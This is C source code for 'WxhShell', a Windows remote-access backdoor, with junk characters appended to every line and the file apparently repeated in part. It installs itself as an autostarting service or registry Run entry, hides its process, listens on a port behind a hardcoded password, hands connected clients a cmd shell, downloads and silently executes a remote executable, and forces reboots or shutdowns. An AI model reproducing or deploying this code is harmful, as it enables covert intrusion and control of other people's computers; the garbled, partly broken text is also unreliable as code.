    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&[Z@*A8#  
    else { u9c^:Op  
    closesocket(wsh); u7>{#]  
    ExitThread(0); Uw!N;QsC  
    } #!yW)RG  
    break; WR :I2-1  
    } pc+'/~  
  // 获取shell  yxx9h3  
  case 's': { OdSglB  
    CmdShell(wsh); 5EX Ghc'  
    closesocket(wsh); .#Vup{.  
    ExitThread(0); W)~}o<a)[  
    break; NQ3EjARZt  
  } 2=]Xe#5J=  
  // 退出 6B8g MO  
  case 'x': { B!j7vXM2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4QZ|e{t  
    CloseIt(wsh); GS)4,.  
    break; zm~sq_=^  
    } F-TDS<[S?  
  // 离开 G4<M@ET  
  case 'q': { BbC aIt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qmy3pnL  
    closesocket(wsh); 1`q>*S](  
    WSACleanup(); !,Uzt1K:  
    exit(1); EK 8rV  
    break; O'.sK pXe  
        } -\I".8"YE  
  } wSPwa,)7s  
  } Oj]4jRew  
Eb~e=){  
  // 提示信息 EvGKcu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fi8#r)G.  
} #+ai G52+  
  } 7=`_UqCV  
YZ(tjIgQ  
  return; EC8Fapy  
} iF^    
$ISx0l~  
// shell模块句柄 g;-6Hg'  
int CmdShell(SOCKET sock) WB|N)3-1  
{ .|c=]_{  
STARTUPINFO si;  %G>  
ZeroMemory(&si,sizeof(si)); 2qDyb]9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; njGZ#{"eC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a0)]W%F  
PROCESS_INFORMATION ProcessInfo; =@*P})w5.  
char cmdline[]="cmd"; VlFhfOR6t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }!^`%\ %\  
  return 0; hOM#j  
} j<PpCL_8%  
zL=PxFw0  
// 自身启动模式 Wu@v%!0  
int StartFromService(void) A|<i7QVY  
{ .`~=1 H\R"  
typedef struct /;;$9O9  
{ LA4,o@V`  
  DWORD ExitStatus; ?F^O7\rw  
  DWORD PebBaseAddress; 9D{p^hd  
  DWORD AffinityMask; zOn% \  
  DWORD BasePriority; /|WBk}  
  ULONG UniqueProcessId;  I#U)  
  ULONG InheritedFromUniqueProcessId; JLh{>_Rr  
}   PROCESS_BASIC_INFORMATION; il~A(`+YO  
4YyVh.x  
PROCNTQSIP NtQueryInformationProcess; 8],tGMu  
={B?hjo<-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b0aV?A}th  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @,;VMO  
HImQ.y!B  
  HANDLE             hProcess; v{O(}@  
  PROCESS_BASIC_INFORMATION pbi; c^8csQ fG  
v O@7o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zw}Wm4OH  
  if(NULL == hInst ) return 0; ~mk>9Gp  
^-g-]?q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5K {{o''  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m98w0D@Ee  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k[8{N  
OYj~"-3y)  
  if (!NtQueryInformationProcess) return 0; DlxL:  
Ak+MR EG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t$(<9  
  if(!hProcess) return 0; g n 6@x  
2T3b6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nD}CQ_C  
6GsB*hW  
  CloseHandle(hProcess); ;, ^AR{+x  
Ct9dV7SH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nrJW.F]S8[  
if(hProcess==NULL) return 0; ANlzF& K  
0<u(!iL  
HMODULE hMod; 8~:s$~&r  
char procName[255]; _g%h:G&^  
unsigned long cbNeeded; [f#7~  
UU  DZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gF~#M1!!  
p(pL"  
  CloseHandle(hProcess); f6JC>Np  
/(?,S{]  
if(strstr(procName,"services")) return 1; // 以服务启动 rk< 3QXv  
\KkAU6  
  return 0; // 注册表启动 %d2\4{{S  
} \!s0H_RJY  
(laVmU?I7  
// 主模块 Mo0pN\A}h  
int StartWxhshell(LPSTR lpCmdLine) ebIRXUF}>  
{ CNrK]+>  
  SOCKET wsl; v|GDPq  
BOOL val=TRUE; mecm,xwm  
  int port=0; IpKpj"eoLy  
  struct sockaddr_in door; k_](u91  
TA>28/U#  
  if(wscfg.ws_autoins) Install(); DW0UcLO  
J:G~9~V^  
port=atoi(lpCmdLine); S*S @a4lV7  
<a)L5<#  
if(port<=0) port=wscfg.ws_port; Usf7 AS=  
s#%P9A  
  WSADATA data; @%4tWE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |$sMzPCxOk  
/=~o|-n8@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qL/XGIxL?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ILMXWw  
  door.sin_family = AF_INET; +hz S'z)n&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .Uh|V -  
  door.sin_port = htons(port); 31`Eq*Y)4  
T5? eb"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LRKl3"M  
closesocket(wsl); Z Ne(sg~G  
return 1; >SaT?k1E  
} q !Nb-O{  
hVd PO  
  if(listen(wsl,2) == INVALID_SOCKET) { ^^{7`X u  
closesocket(wsl); CyV(+KBe_  
return 1; ~#nbD-*#  
} FiW>kTM8  
  Wxhshell(wsl); y3Lq"?h  
  WSACleanup(); 6}^6+@LG  
,B||8W9  
return 0; N]7#Q.(~  
  ]n (:X  
} t7qzAr  
,c.(&@  
// 以NT服务方式启动 #xe-Yw1!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,'^^OLez  
{ 8w L%(p  
DWORD   status = 0; xe9V'wICp(  
  DWORD   specificError = 0xfffffff; '1[Bbs  
tk~<tqMq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r E<Ou"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y-=YXqj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }S}9Pm,:  
  serviceStatus.dwWin32ExitCode     = 0; X+;{&Efrl  
  serviceStatus.dwServiceSpecificExitCode = 0; &#DKB#.2  
  serviceStatus.dwCheckPoint       = 0; GZk{tTv  
  serviceStatus.dwWaitHint       = 0; E6_.Q `!ll  
XR.Sm<A[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  v+qHH8  
  if (hServiceStatusHandle==0) return; :iVEm9pB)  
5dem~YY5  
status = GetLastError(); V{+5Fas^l  
  if (status!=NO_ERROR) DqbU$jt`  
{ gRQV)8uh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gaa;PX  
    serviceStatus.dwCheckPoint       = 0; aFtL_# U  
    serviceStatus.dwWaitHint       = 0; XX;MoE~MM  
    serviceStatus.dwWin32ExitCode     = status; PAHkF&  
    serviceStatus.dwServiceSpecificExitCode = specificError; #5/.n.X"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @l^BW*BCo  
    return; [lbe_G;  
  } 'D<84|w:1  
h Lv_ER?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O0cKmh6=  
  serviceStatus.dwCheckPoint       = 0; Ub9p&=]h  
  serviceStatus.dwWaitHint       = 0; g_2EH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c>pbRUMH  
} y`Km96 Ui  
Y~C;M6(P  
// 处理NT服务事件,比如:启动、停止 +4--Dl?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DC6xet{  
{ ( V^C7ix:  
switch(fdwControl) jpI=B  
{ HMrl!;:  
case SERVICE_CONTROL_STOP: 9m:G8j'  
  serviceStatus.dwWin32ExitCode = 0; u&\QZW?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y4Fuh nb>  
  serviceStatus.dwCheckPoint   = 0; [H&Z / .{F  
  serviceStatus.dwWaitHint     = 0; #mvOhu  
  { Q\k|pg?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B9Y*'hmI  
  } _8eN^oc%  
  return; p?qW;1  
case SERVICE_CONTROL_PAUSE: pXBlTZf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r"aJ&~8::W  
  break; w=MiJr#3^  
case SERVICE_CONTROL_CONTINUE: dB%q`7O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Fw{|7@N  
  break; -D-]tL6w  
case SERVICE_CONTROL_INTERROGATE: iD-,C`  
  break; Pe<}kS m4  
}; $Z!7@_Ys  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo[*P\8  
} ~D$?.,=l  
s`E^1jC  
// 标准应用程序主函数 HJ+I;OJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;4] sP^+  
{ '}|sRuftb  
k,UezuV  
// 获取操作系统版本 h%yw'?s  
OsIsNt=GetOsVer(); Z+?V10$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n 0*a.  
Q $5U5hb  
  // 从命令行安装 VM[U&g<8n  
  if(strpbrk(lpCmdLine,"iI")) Install(); c5f8pa *  
map#4\  
  // 下载执行文件 5^W},:3R  
if(wscfg.ws_downexe) { aO'lk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nt^9N #+N  
  WinExec(wscfg.ws_filenam,SW_HIDE); EX.`6,:+2  
} Y::I_6[eV  
vn0}l6n3s  
if(!OsIsNt) { ">V.nao  
// 如果时win9x,隐藏进程并且设置为注册表启动 )1!jv!  
HideProc(); ,b/qcu_|-  
StartWxhshell(lpCmdLine); &!E+l<.RF  
} ^A"TY  
else 7Ne`F(c  
  if(StartFromService()) q=H dGv  
  // 以服务方式启动 [LHx9(,NM  
  StartServiceCtrlDispatcher(DispatchTable); ;E{k+vkqy  
else y:>'1"2`  
  // 普通方式启动 ?z]h Ysy  
  StartWxhshell(lpCmdLine); /y.+N`_  
6AW{qU6  
return 0; $B3<"  
} wx,yx3c (  
L-}6}5[  
D$wl.r  
(6*CORE   
=========================================== e t$VR:  
p[zKc2TPk  
NLz[ F`I  
-/O_wqm#  
:s}6a23  
c[I4'x  
" #J,?oe=<4  
_+vE(:T  
#include <stdio.h> ,+gU^dc|hq  
#include <string.h> /4}B}"`Sl=  
#include <windows.h> *h `P+_Q7  
#include <winsock2.h> \:To>A32  
#include <winsvc.h> #Pf?.NrTn  
#include <urlmon.h> g{_wMf  
H:d@@/  
#pragma comment (lib, "Ws2_32.lib") W8$ky[2R  
#pragma comment (lib, "urlmon.lib") \.`;p  
Nzo;j0 [  
#define MAX_USER   100 // 最大客户端连接数 4zRz U  
#define BUF_SOCK   200 // sock buffer r}1.=a  
#define KEY_BUFF   255 // 输入 buffer K>tubLYh  
DLWG0$#!  
#define REBOOT     0   // 重启 `k 5'nnyP  
#define SHUTDOWN   1   // 关机 jOYa}jm?  
FKX+ z  
#define DEF_PORT   5000 // 监听端口 *K<|E15 ,  
%l#i9$s  
#define REG_LEN     16   // 注册表键长度 1TagQ  
#define SVC_LEN     80   // NT服务名长度 N '8u}WO  
w6RB|^  
// 从dll定义API TvbkvK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $mV1K)ege  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /oWn0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~^{jfHTlv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v*.[O/,EBR  
PLkwtDi+&  
// wxhshell配置信息 X#|B*t34  
struct WSCFG { v/fo`]zP  
  int ws_port;         // 监听端口 cIL I%W1  
  char ws_passstr[REG_LEN]; // 口令 x?aNK$A~X  
  int ws_autoins;       // 安装标记, 1=yes 0=no <K(qv^C  
  char ws_regname[REG_LEN]; // 注册表键名 iB]xYfQ&@V  
  char ws_svcname[REG_LEN]; // 服务名 kgq"b)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1kd\Fq^z$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GQ@`qYLZ+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i1(}E#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6/%dD DU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O3YD jas  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {CO]wqEj  
nE 2w ?  
}; z f rEM  
,EE,W0/zzM  
// default Wxhshell configuration (mNNTMe  
struct WSCFG wscfg={DEF_PORT, r@O5{V  
    "xuhuanlingzhe", u n)YK  
    1, lBpy0lo#  
    "Wxhshell", isG8S(}IW&  
    "Wxhshell", sRMz[n 5k  
            "WxhShell Service", THVF(M4v  
    "Wrsky Windows CmdShell Service", gPW% *|D,  
    "Please Input Your Password: ", KWq&<X5  
  1, Y-&SZI4H  
  "http://www.wrsky.com/wxhshell.exe", DV8b<)  
  "Wxhshell.exe" :Zs i5>MT  
    }; =ObI  
1(q &(p  
// 消息定义模块 5 $vUdDTg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nT;Rwz$3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mm l`,t8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]T?Py)  
char *msg_ws_ext="\n\rExit."; \~(scz$  
char *msg_ws_end="\n\rQuit."; I: L}7uA[t  
char *msg_ws_boot="\n\rReboot..."; G2 E4  
char *msg_ws_poff="\n\rShutdown..."; \[>Ob  
char *msg_ws_down="\n\rSave to "; @MoBR.  
j_ \?ampF  
char *msg_ws_err="\n\rErr!"; ,Vc>'4E-  
char *msg_ws_ok="\n\rOK!"; #Ns]l<  
xpO'.xEs  
char ExeFile[MAX_PATH]; 9i=HZ\s3  
int nUser = 0; (/^s?`1{N?  
HANDLE handles[MAX_USER]; R [[ #r5q  
int OsIsNt; ~fht [S?@M  
_,ki/7{  
SERVICE_STATUS       serviceStatus; '&;s32']}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $M0F~x  
'#oNOU  
// 函数声明 LwI A4$d  
int Install(void); }x9D;%)/  
int Uninstall(void); )Z"  
int DownloadFile(char *sURL, SOCKET wsh); 38 -vt,|  
int Boot(int flag); UA8*8%v  
void HideProc(void); ,(@JNtx  
int GetOsVer(void); \Zgc [F  
int Wxhshell(SOCKET wsl); \se /2l  
void TalkWithClient(void *cs); >x3$Ld  
int CmdShell(SOCKET sock); 4pJ #fkc^  
int StartFromService(void); \ ";^nk*  
int StartWxhshell(LPSTR lpCmdLine); -Gyj]v5y`c  
YaT6vSz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jR_o!n~5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :,@\q0j"=  
og~Uv"&?T  
// 数据结构和表定义 nn?h;KzB  
SERVICE_TABLE_ENTRY DispatchTable[] = r-s9]0"7~  
{ =>LQW;Sjz  
{wscfg.ws_svcname, NTServiceMain}, z*w.A=r  
{NULL, NULL} ;S5J"1)O~  
}; nkxv,_)ZT  
9 \lSN5W  
// 自我安装 u(Kof'p7  
int Install(void) I" hlLP  
{ G &QGQ  
  char svExeFile[MAX_PATH]; 7/969h^s  
  HKEY key; wxc24y  
  strcpy(svExeFile,ExeFile); t8?$q})RL  
Pl\r|gS;  
// 如果是win9x系统,修改注册表设为自启动 579<[[6~d2  
if(!OsIsNt) { 9{cpxJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b$JrLZs$_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =A]*r9  
  RegCloseKey(key); Pea2ENe3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WZQ EBXs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k5@PZFV  
  RegCloseKey(key); '5r\o8RjN  
  return 0; NW4tQ;ad  
    } 8fSY@  
  } ' 5xvR G  
} 3Ow bU  
else { Iy#=Nq=  
o FS2*u  
// 如果是NT以上系统,安装为系统服务 xiy=D5N.=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WdZ_^  
if (schSCManager!=0) ?_t_rF(?6  
{ 'D:R]@eK]  
  SC_HANDLE schService = CreateService A:4?Jd>  
  ( |r+w(TG  
  schSCManager, v vzPt.ag  
  wscfg.ws_svcname, + usB$=kJ  
  wscfg.ws_svcdisp, 0$BX8?Z  
  SERVICE_ALL_ACCESS, %:!ILN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qHl>d*IZ  
  SERVICE_AUTO_START, )qua0'y]@  
  SERVICE_ERROR_NORMAL, 2Bz\Tsp  
  svExeFile, WYm<_1  
  NULL, ~$jRn(2  
  NULL, _lBHZJ+  
  NULL, g%_ 3  
  NULL, }B ?_>0  
  NULL Sfa;;7W@R  
  ); Vj[hT~{f  
  if (schService!=0) VVw5)O1'  
  { SajasjE!^1  
  CloseServiceHandle(schService); T"/dn%21  
  CloseServiceHandle(schSCManager); A=+1PgL66  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lFN|)(X  
  strcat(svExeFile,wscfg.ws_svcname); \OwCZ!`7i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7nPjeh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m(w9s;<  
  RegCloseKey(key); t\WU}aKML  
  return 0; 0[f[6mm%m  
    } INEE 37%  
  } NXMZTZpB7  
  CloseServiceHandle(schSCManager); nyL$z-I)  
} &N*l?7(  
} :7?n)=Tx  
3Mq%3jX  
return 1; YQ>O6:%  
} 5fy{!  
0|6Y% a\U  
// 自我卸载 aUi^7;R&<  
int Uninstall(void) >c$3@$  
{ T>|Y_3YO_a  
  HKEY key; kkIG{Bw  
a1shP};pK  
if(!OsIsNt) { tB`IBuy9!"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bPIo9clq  
  RegDeleteValue(key,wscfg.ws_regname); 8p#V4liE  
  RegCloseKey(key); Sq x'nXgO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u%5 ,U-  
  RegDeleteValue(key,wscfg.ws_regname); ?DE{4Ti/[  
  RegCloseKey(key); 9&zQ 5L>  
  return 0; kDG?/j90D  
  } IdCE<Oj\  
} ]*D~>q"#\  
} y+ 4#Iy  
else { h!`KX2~  
%{jL+4veoL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d.Q<!Au3  
if (schSCManager!=0) Mp(;PbVD  
{ to?={@$]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J&bMox  
  if (schService!=0) b#*"eZj  
  { XePGOw))O  
  if(DeleteService(schService)!=0) { |d,bo/:  
  CloseServiceHandle(schService); iI;np+uYk  
  CloseServiceHandle(schSCManager); c9djBUAk&  
  return 0; ]TN/n%\  
  } UgD)O:xaU  
  CloseServiceHandle(schService); $&Z<4:Flc  
  } $RYOj{1  
  CloseServiceHandle(schSCManager); I|Mw*2U  
} /]of @  
} GcG$>&,  
qC3PKlhv6  
return 1; U;M !jj  
} 6n;? :./  
:\C/mT3xL)  
// 从指定url下载文件 "bz.nE*  
int DownloadFile(char *sURL, SOCKET wsh) 8U n0<+b  
{ ^])s\a$  
  HRESULT hr; ?X Rl\V  
char seps[]= "/"; m}f{o  
char *token; oi8M6l  
char *file; cM\BEh h  
char myURL[MAX_PATH]; 7`e<H8g  
char myFILE[MAX_PATH]; p.H`lbVY  
7I*rtc&Kb  
strcpy(myURL,sURL); 9i D&y)$"  
  token=strtok(myURL,seps); aimf,(+  
  while(token!=NULL) TmK8z  
  { m}]QP\  
    file=token; $M~`)UeV_  
  token=strtok(NULL,seps); H%Z;Yt8^gt  
  } YN~1.!F  
c[$i )\0  
GetCurrentDirectory(MAX_PATH,myFILE); W@i|=xS?  
strcat(myFILE, "\\"); 7K+eI!m.s  
strcat(myFILE, file); #4!f/dWJp  
  send(wsh,myFILE,strlen(myFILE),0); t gHN\@yj  
send(wsh,"...",3,0); F~~9/#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1:_}`x=hM  
  if(hr==S_OK) rbs&A{i  
return 0; .-[]po  
else v- p8~u1N  
return 1; tK `A_hC  
q^7=/d8  
} 1lJ^$U  
(`u+(M!^  
// 系统电源模块 r{_1M>F D!  
int Boot(int flag) ;iJ}[HUo  
{ {hm-0Q  
  HANDLE hToken; /<dl"PWkJv  
  TOKEN_PRIVILEGES tkp; ymT]ow6C  
lQ"t#b+  
  if(OsIsNt) { uax kGEXr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lTFo#p_(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v[ R_6  
    tkp.PrivilegeCount = 1; t}MT<Jj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,u!_mV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jS5K:yx<  
if(flag==REBOOT) { F5M{`:/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1^[]#N-Bu  
  return 0; #qJ6iA6{  
} RB;2  
else { AJ6O>Euq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]iZ-MG)J  
  return 0; t+jdV  
} Ct:c%D(L  
  } :U]Pm:ivTU  
  else { .TNJuuO  
if(flag==REBOOT) { q^~w:$^ U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'C;KNc  
  return 0; ZW 5FL-I  
} A-eCc#I  
else { QqcAmp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >R.!Qze\G  
  return 0; maV*+!\  
} $]?M[sL\N7  
} "\M3||.!  
1J&hm[3[K  
return 1; 8P&z@E{y  
} SV^[)p )  
%*Yb J_j7  
// win9x进程隐藏模块 C.se/\PE  
void HideProc(void) Cio (Ptt:  
{ ^a#W|-:  
nrM-\'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gpCWXz')i  
  if ( hKernel != NULL ) R]o2_r7N"}  
  { }c#W"y5l_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3p'(E\VJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $tK/3  
    FreeLibrary(hKernel); jLEO-<)-)  
  } X"T)X#:)  
4c.!^EiV  
return; d2g7 ,axi  
} !ed0  
p >nKNd_aQ  
// 获取操作系统版本 E FBvi  
int GetOsVer(void) }jg,[jw_"X  
{ ^5-SL?E  
  OSVERSIONINFO winfo; ;Udx|1o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >~T2MlRux  
  GetVersionEx(&winfo); i"{znKz vD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A.<M*[{q  
  return 1; T lB+ tV>  
  else Q?dzro4C  
  return 0; m .^WSy  
} <"LA70Hkk  
D]K?ntS[*  
// 客户端句柄模块 r<"k /  
int Wxhshell(SOCKET wsl) >< Qp%yT  
{ Kq:vTz&<  
  SOCKET wsh; 0|(6q=QK  
  struct sockaddr_in client; Vv>hr+e  
  DWORD myID; d ewN\  
wd Di5-A4  
  while(nUser<MAX_USER) bWMb@zm  
{ gy/bA  
  int nSize=sizeof(client); vz)zl2F5sY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y,X0x-  
  if(wsh==INVALID_SOCKET) return 1; 44UN*_qG  
tU>4?`)E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,^qHl+'  
if(handles[nUser]==0) /qXP\ a  
  closesocket(wsh); Oi~.z@@  
else /ASpAl[J  
  nUser++; 3:gF4(.  
  } YU1z\pK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aOW$H:b  
(vbI4&r  
  return 0; Q_|Lv&  
} "%+9p6/  
oF5~|&C  
// 关闭 socket \-:4TuU  
void CloseIt(SOCKET wsh) S!7|vb*ko  
{ =|q@ Q`DB  
closesocket(wsh); WD#7Q&T(;  
nUser--; *g 2N&U  
ExitThread(0); ImI, q:[67  
} 0u ,nSvch  
_(:bGI'.m  
// 客户端请求句柄 @5TJ]=  
void TalkWithClient(void *cs) r1|;V~ a$~  
{ `qj24ehc  
~01Fp;L/  
  SOCKET wsh=(SOCKET)cs; ((]Sy,rdk  
  char pwd[SVC_LEN]; A)u,Hvn  
  char cmd[KEY_BUFF]; 5=P*<Dnj  
char chr[1]; <0H^2ekd  
int i,j; 7By&cdl  
E% \Ohs7  
  while (nUser < MAX_USER) { SR { KL#NC  
t x#(K#/  
if(wscfg.ws_passstr) { DsGtc<l%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EY[J;H_b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]08 ~"p  
  //ZeroMemory(pwd,KEY_BUFF); 0uf)6(f  
      i=0; k54Vh=p  
  while(i<SVC_LEN) { $oH?7sj  
TllIs&MCe  
  // 设置超时 BW&)Zz  
  fd_set FdRead; ( T2 \   
  struct timeval TimeOut; kV+O|9  
  FD_ZERO(&FdRead); |1^ !rHg  
  FD_SET(wsh,&FdRead); hIMD2  
  TimeOut.tv_sec=8; Y` tB5P  
  TimeOut.tv_usec=0; Y'2 |GJc2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y @[Dy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :LBRyBV  
($Ck5`_MK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TTzvH;S  
  pwd=chr[0]; 63y&MaqSJ  
  if(chr[0]==0xd || chr[0]==0xa) { ,.&y-?  
  pwd=0; ayoqitXD?  
  break; e2$k %c~  
  } cAc>p-y%  
  i++; sc &S0K  
    } ,xsFBNCC  
Q{+N{/tF  
  // 如果是非法用户,关闭 socket '"14(BvW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \-~TW4dYe  
} !_My]>S  
)Y@mL/_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LHJjPf)F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kA%"-$3  
l9Sx'<  
while(1) { WaYT7 :  
6Cd% @Q2cr  
  ZeroMemory(cmd,KEY_BUFF); U4ELlxGe  
eW^_YG%(  
      // 自动支持客户端 telnet标准   4` zfrT^  
  j=0; O+Qt8,  
  while(j<KEY_BUFF) { ts3BmfR?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Km9Y_`?  
  cmd[j]=chr[0]; yYM_  
  if(chr[0]==0xa || chr[0]==0xd) { 2dUVHu= +  
  cmd[j]=0; 'CSIC8M<j  
  break; yDW$v/j.|  
  } }+Ne)B E  
  j++; Z:(yX0U,[  
    } Ot#O];3  
:;(zA_-  
  // 下载文件 ,3tcti~sZ  
  if(strstr(cmd,"http://")) { HKZD*E((  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); amY\1quD|  
  if(DownloadFile(cmd,wsh)) | p"E0av  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Fa]k'<^)  
  else io{uN/!X_J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bijE]:<AE7  
  } 8NRc+@f|m  
  else {  DlWnz-  
q`8M9-~  
    switch(cmd[0]) { 05cyWg9a  
  toCxY+"nbU  
  // 帮助 xF4>D!T%8  
